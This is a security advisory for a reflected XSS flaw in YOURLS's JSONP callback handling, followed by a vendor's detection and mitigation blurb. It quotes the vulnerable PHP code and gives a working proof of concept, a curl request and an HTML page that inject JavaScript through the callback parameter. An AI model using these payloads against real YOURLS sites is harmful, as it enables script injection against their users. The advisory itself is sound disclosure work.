GHSA-6mp4-q625-mxjp
HIGHYOURLS is vulnerable to XSS through JSONP and Callback request parameters
Blast Radius
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Description
Summary
The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS_PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.
Details
Vulnerability exists in the JSONP callback handling chain:
yourls-api.php:127-128
if( isset( $_REQUEST['callback'] ) )
$return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
$return['callback'] = $_REQUEST['jsonp'];
includes/functions-api.php:127-128
$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result = $callback . '(' . json_encode( $output ) . ')';
PoC
I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.
II. curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//"
Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})
Browser PoC file:
<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>
Impact
Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS. Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yourls/yourls | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yourls/yourls. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of yourls/yourls has shipped for GHSA-6mp4-q625-mxjp yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6mp4-q625-mxjp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6mp4-q625-mxjp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6mp4-q625-mxjp in your dependencies?
O3 detects GHSA-6mp4-q625-mxjp across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.